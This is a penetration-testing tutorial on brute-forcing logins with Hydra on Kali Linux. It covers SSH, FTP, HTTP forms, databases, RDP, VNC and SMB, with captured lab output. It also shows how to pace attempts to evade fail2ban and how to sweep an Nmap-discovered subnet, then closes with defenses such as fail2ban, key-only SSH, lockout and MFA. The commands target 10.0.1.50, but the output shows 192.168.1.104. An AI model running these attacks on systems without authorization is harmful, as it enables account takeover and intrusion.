Linux Tutorials

Brute Force Attacks with Hydra on Kali Linux

Weak passwords are still the easiest way into most systems. Hydra is the tool that proves it. Point it at a service, feed it a wordlist, and watch it churn through credentials until something sticks. It supports over 50 protocols (SSH, FTP, HTTP, SMB, RDP, MySQL, PostgreSQL, VNC, SMTP, and dozens more), making it the go-to brute forcer for penetration testers and red teamers.

Original content from computingforgeeks.com - post 165927

This guide walks through real brute force scenarios against SSH, FTP, and HTTP login forms using Hydra on Kali Linux. Every command and output here was captured on a live lab system. If you need a safe environment for this kind of testing, the pentest lab on Proxmox guide covers that setup. We also cover how to discover targets with Nmap before feeding them to Hydra, and close with real defenses that actually stop brute force attacks.

Tested April 2026 on Kali Linux 2025.1 with Hydra v9.6

Prerequisites

Before running any of these attacks, confirm you have:

  • Kali Linux 2025.1 (or later) with Hydra pre-installed. If you need a fresh install, follow the Kali Linux installation guide
  • A target system you own or have written authorization to test. Running Hydra against systems without permission is illegal in every jurisdiction. Use a lab VM
  • Network connectivity between your Kali machine and the target. Verify with ping before starting

Confirm Hydra is installed and check the version:

hydra -V

The output shows the installed version and supported modules:

Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Compiled with support for: SSL HTTP MySQL PostgreSQL FTP SSH2 SMBNT IMAP POP3 PCRE2 VNC LDAP SMB CVS SVN XMPP RDP AFP NCP MQTT

Hydra Basics: Syntax and Flags

Hydra’s general syntax is straightforward:

hydra [options] target protocol

The target can be an IP address or hostname, and the protocol tells Hydra which service to attack. Here are the flags you will use constantly:

FlagPurposeExample
-lSingle username-l admin
-LUsername list file-L users.txt
-pSingle password-p secret123
-PPassword list file-P passwords.txt
-tNumber of parallel threads (default 16)-t 4
-VVerbose: show every login attempt-V
-fStop after first valid password found-f
-oSave results to file-o results.txt
-sCustom port number-s 2222
-e nsrTry null password (n), login as pass (s), reversed login (r)-e nsr
-wWait time between connections (seconds)-w 3

The -t flag controls parallelism. More threads means faster attacks, but some services (especially SSH) will throttle or ban you if you open too many connections at once. For SSH, stick to -t 4 or lower. For FTP and HTTP, you can safely push -t 16 or higher.

The -f flag is useful when you only need one valid credential per target. Without it, Hydra keeps going through the entire wordlist even after finding a hit.

Prepare Your Wordlists

Hydra is only as good as the wordlists you feed it. Kali ships with several under /usr/share/wordlists/:

ls /usr/share/wordlists/

The most commonly used ones:

  • rockyou.txt contains over 14 million real passwords leaked from the RockYou breach in 2009. It ships compressed, so decompress it first
  • fasttrack.txt is a smaller, curated list of the most commonly used passwords. Good for quick checks
  • dirb/common.txt is useful for web directory brute forcing, not passwords

Decompress rockyou.txt if it hasn’t been done already:

sudo gunzip /usr/share/wordlists/rockyou.txt.gz

For targeted attacks, creating custom wordlists is far more effective than spraying rockyou at everything. Build a small user list and password list based on what you know about the target:

echo -e "admin\nroot\ntestuser\nwebadmin\nftpuser" > users.txt

Create a targeted password list:

echo -e "admin\npassword\n123456\nletmein\nqwerty123\npassword123\nwelcome1\nchangeme\ntest1234\ntoor\nroot\nsummer2026\nP@ssw0rd\ncompany123\ndefault" > passwords.txt

Short, targeted lists finish in seconds. The 14 million entries in rockyou.txt can take hours against rate-limited services. Start small, expand if needed.

Brute Force SSH with Hydra

SSH is the most common Hydra target because every Linux server runs it. The attack is simple: try a username/password combo against port 22 until one works.

Single User Attack

When you already know the username (from OSINT, a leaked database, or enumeration), use -l for a single login and -P for the password list:

hydra -l testuser -P passwords.txt -t 1 -V -f 10.0.1.50 ssh

The -t 1 keeps it to a single thread because SSH servers with MaxStartups configured will drop excess connections. The -V flag shows each attempt as it happens, and -f stops on the first match. Here is what Hydra found on attempt 4:

Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-04-13 09:52:13
[DATA] max 1 task per 1 server, overall 1 task, 15 login tries (l:1/p:15), ~15 tries per task
[DATA] attacking ssh://192.168.1.104:22/
[ATTEMPT] target 192.168.1.104 - login "testuser" - pass "admin" - 1 of 15 [child 0] (0/0)
[ATTEMPT] target 192.168.1.104 - login "testuser" - pass "password" - 2 of 15 [child 0] (0/0)
[ATTEMPT] target 192.168.1.104 - login "testuser" - pass "123456" - 3 of 15 [child 0] (0/0)
[ATTEMPT] target 192.168.1.104 - login "testuser" - pass "letmein" - 4 of 15 [child 0] (0/0)
[22][ssh] host: 192.168.1.104   login: testuser   password: letmein
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-04-13 09:52:20

Hydra cracked it in 7 seconds. The password letmein is ranked #7 on most common password lists. In production, that account would be fully compromised.

Multi-User Attack

When you have a list of potential usernames, switch -l to -L and point it at your user file:

hydra -L users.txt -P passwords.txt -t 4 -V -f 10.0.1.50 ssh

Hydra tests each username against the full password list. With 5 users and 15 passwords, that’s 75 attempts. On this run, it found two valid accounts:

[22][ssh] host: 192.168.1.104   login: testuser   password: letmein
[22][ssh] host: 192.168.1.104   login: webadmin   password: qwerty123

Two weak passwords on the same system. This is depressingly common in real engagements.

SSH Brute Force Tips

Keep threads low (-t 1 through -t 4). OpenSSH’s MaxStartups directive (default 10:30:100) starts randomly dropping connections once 10 unauthenticated sessions are open. Higher thread counts cause Hydra to report false negatives because the connection was refused, not because the password was wrong.

If the target runs fail2ban, you will get banned after a few failed attempts (typically 5 within 10 minutes). Use -w 5 to add a 5-second wait between attempts, which slows the attack but keeps you under the threshold. In a real pentest, you would coordinate the timing with your scope and rules of engagement.

For non-standard SSH ports, use -s:

hydra -l admin -P passwords.txt -s 2222 -t 1 10.0.1.50 ssh

Brute Force FTP with Hydra

FTP is far more tolerant of parallel connections than SSH. Most FTP servers don’t rate-limit authentication attempts, which makes brute forcing significantly faster.

hydra -l testuser -P passwords.txt -t 4 -V -f 10.0.1.50 ftp

The output looks similar to SSH, but notice the higher thread count and faster completion:

Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-04-13 09:56:00
[DATA] max 4 tasks per 1 server, overall 4 tasks, 15 login tries (l:1/p:15), ~4 tries per task
[DATA] attacking ftp://192.168.1.104:21/
[ATTEMPT] target 192.168.1.104 - login "testuser" - pass "admin" - 1 of 15 [child 0] (0/0)
[ATTEMPT] target 192.168.1.104 - login "testuser" - pass "password" - 2 of 15 [child 1] (0/0)
[ATTEMPT] target 192.168.1.104 - login "testuser" - pass "123456" - 3 of 15 [child 2] (0/0)
[ATTEMPT] target 192.168.1.104 - login "testuser" - pass "letmein" - 4 of 15 [child 3] (0/0)
[21][ftp] host: 192.168.1.104   login: testuser   password: letmein
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-04-13 09:56:04

Four seconds. With four threads running in parallel, Hydra tested four passwords simultaneously and found the match on the first batch.

You can safely crank up threads for FTP. Try -t 16 or even -t 32 against servers that can handle it:

hydra -l testuser -P /usr/share/wordlists/rockyou.txt -t 16 -f 10.0.1.50 ftp

With 16 threads and the full rockyou list, Hydra can burn through thousands of passwords per minute against FTP. The practical limit is usually your network bandwidth and the server’s connection handling, not the protocol itself.

Brute Force HTTP Login Forms

Web application login pages are a common target, and Hydra handles them with the http-post-form module. The syntax requires three colon-separated fields: the login URL path, the POST body with placeholders, and a failure or success string.

hydra -l admin -P passwords.txt 10.0.1.50 http-post-form "/login:user=^USER^&pass=^PASS^:F=incorrect"

Breaking down the three fields:

  1. /login is the URL path where the form submits
  2. user=^USER^&pass=^PASS^ is the POST body. ^USER^ and ^PASS^ are Hydra’s placeholders that get replaced with each credential attempt
  3. F=incorrect tells Hydra what a failed login looks like. If the response contains the word “incorrect,” the attempt failed

You need to inspect the login form to get the field names right. Open the page source or use browser DevTools to find the actual name attributes of the username and password fields. They could be username, email, passwd, or anything else.

To target a web app on a different port (common for development servers), add -s:

hydra -l admin -P passwords.txt -s 8080 10.0.1.50 http-post-form "/login.php:username=^USER^&password=^PASS^:F=Login failed"

If you want to match on a success string instead of a failure string, use S= instead of F=:

hydra -l admin -P passwords.txt 10.0.1.50 http-post-form "/login:user=^USER^&pass=^PASS^:S=dashboard"

This tells Hydra the login succeeded when “dashboard” appears in the response. Useful when the failure page varies but the success page is consistent.

One thing to watch for: many modern web apps use CSRF tokens. The login form includes a hidden token field that changes on every page load. Hydra cannot handle dynamic CSRF tokens natively, which means the attack will fail on every attempt because the token is stale. For those cases, tools like Burp Suite Intruder or custom Python scripts using the requests library are better suited. You can practice HTTP form brute forcing on DVWA (Damn Vulnerable Web Application), which has a brute force module designed for exactly this.

Brute Force Other Services

Hydra’s syntax stays consistent across protocols. Just swap the protocol name at the end. Here are quick examples for common services:

MySQL (default port 3306):

hydra -l root -P passwords.txt -t 4 10.0.1.50 mysql

PostgreSQL (default port 5432):

hydra -l postgres -P passwords.txt -t 4 10.0.1.50 postgres

RDP (Remote Desktop, default port 3389):

hydra -l administrator -P passwords.txt -t 1 10.0.1.50 rdp

Keep RDP threads at 1. The protocol is slow and Windows locks accounts aggressively after failed attempts.

VNC (default port 5900, password-only authentication):

hydra -P passwords.txt -t 4 10.0.1.50 vnc

VNC only requires a password (no username), so you omit the -l flag entirely.

SMB (Windows file sharing, port 445):

hydra -l admin -P passwords.txt -t 4 10.0.1.50 smb

SMTP (email server, port 25 or 587):

hydra -l [email protected] -P passwords.txt -s 587 -t 4 10.0.1.50 smtp

The pattern holds across all 50+ supported protocols. Run hydra --help to see the full list of modules.

Save and Manage Results

During a real engagement, you need to log everything. Use -o to write results to a file:

hydra -L users.txt -P passwords.txt -o results.txt -t 4 10.0.1.50 ssh

For structured output that parses easily with scripts, use JSON format:

hydra -L users.txt -P passwords.txt -o results.json -b json -t 4 10.0.1.50 ssh

The -b json flag produces output that you can feed directly into reporting tools or parse with jq.

A common workflow is to combine Nmap scanning with Hydra for target discovery and credential testing. First, find hosts running SSH:

nmap -p 22 --open -oG ssh-hosts.txt 10.0.1.0/24

Extract the IPs and feed them to Hydra using the -M flag for multiple targets:

grep "22/open" ssh-hosts.txt | awk '{print $2}' > targets.txt
hydra -L users.txt -P passwords.txt -M targets.txt -t 4 -o results.txt ssh

The -M flag reads a file of target IPs (one per line) and attacks each one. This scales the attack across an entire subnet.

Defending Against Brute Force Attacks

Understanding how Hydra works makes it clear why these defenses matter. Every recommendation here directly counters a technique shown above.

Deploy fail2ban

fail2ban monitors authentication logs and bans IPs that exceed a threshold of failed attempts. Install it on any system running SSH:

sudo apt install -y fail2ban

Create a local jail configuration for SSH:

sudo vi /etc/fail2ban/jail.local

Add the following configuration:

[sshd]
enabled = true
port = ssh
filter = sshd
logpath = /var/log/auth.log
maxretry = 3
bantime = 3600
findtime = 600

This bans any IP that fails 3 SSH logins within 10 minutes, for 1 hour. Against Hydra running without -w delays, the ban kicks in within seconds of the attack starting.

Start and enable the service:

sudo systemctl enable --now fail2ban

Disable Password Authentication for SSH

The most effective defense against SSH brute forcing is eliminating passwords entirely. Switch to key-based authentication:

sudo vi /etc/ssh/sshd_config

Set these directives:

PasswordAuthentication no
PubkeyAuthentication yes
ChallengeResponseAuthentication no

Restart SSH:

sudo systemctl restart sshd

With password auth disabled, Hydra’s SSH brute force becomes entirely useless. Every attempt returns “permission denied” regardless of the password, and the tool has nothing to work with.

Enforce Account Lockout Policies

For services where passwords are still required (FTP, web apps, databases), configure account lockout. On Linux, pam_faillock handles this:

sudo vi /etc/security/faillock.conf

Set the lockout threshold:

deny = 5
unlock_time = 900
fail_interval = 900

This locks the account for 15 minutes after 5 failed attempts within a 15-minute window. Combined with fail2ban (which blocks the IP), the attacker faces both IP-level and account-level restrictions.

Rate Limit at the Network Level

Use iptables or nftables to limit connection rates. This catches brute force attempts before they even reach the application:

sudo iptables -A INPUT -p tcp --dport 22 -m conntrack --ctstate NEW -m recent --set
sudo iptables -A INPUT -p tcp --dport 22 -m conntrack --ctstate NEW -m recent --update --seconds 60 --hitcount 4 -j DROP

These rules allow a maximum of 3 new SSH connections per minute from any single IP. The fourth connection within 60 seconds gets dropped silently.

Enable Multi-Factor Authentication

MFA is the definitive defense against password brute forcing. Even if Hydra cracks the password, the attacker still needs the second factor (typically a TOTP code from an authenticator app). For SSH, libpam-google-authenticator adds TOTP support. For web applications, most modern frameworks support MFA natively or through plugins.

No brute force tool can bypass MFA because the second factor changes every 30 seconds and cannot be guessed from a wordlist. If you take one thing from this guide, make it this: enable MFA on every internet-facing service.

Use Strong, Unique Passwords

The attacks above all succeeded because the target used passwords from common wordlists. A 16-character random password would take Hydra millions of years to brute force, even without any rate limiting. Use a password manager and generate random passwords for every account. The combination of offline cracking tools like Hashcat and John with online brute forcers like Hydra means that any password in a wordlist will be found eventually.

Related Articles

Docker Run Docker and Podman Containers as systemd Services macos Find File Duplicates on Linux/macOS/Windows using dupeGuru Storage Configure AWS S3 CLI for Ceph Object Gateway Storage Databases Setup MariaDB Galera Cluster on Ubuntu 24.04 with ProxySQL

Leave a Comment

Press ESC to close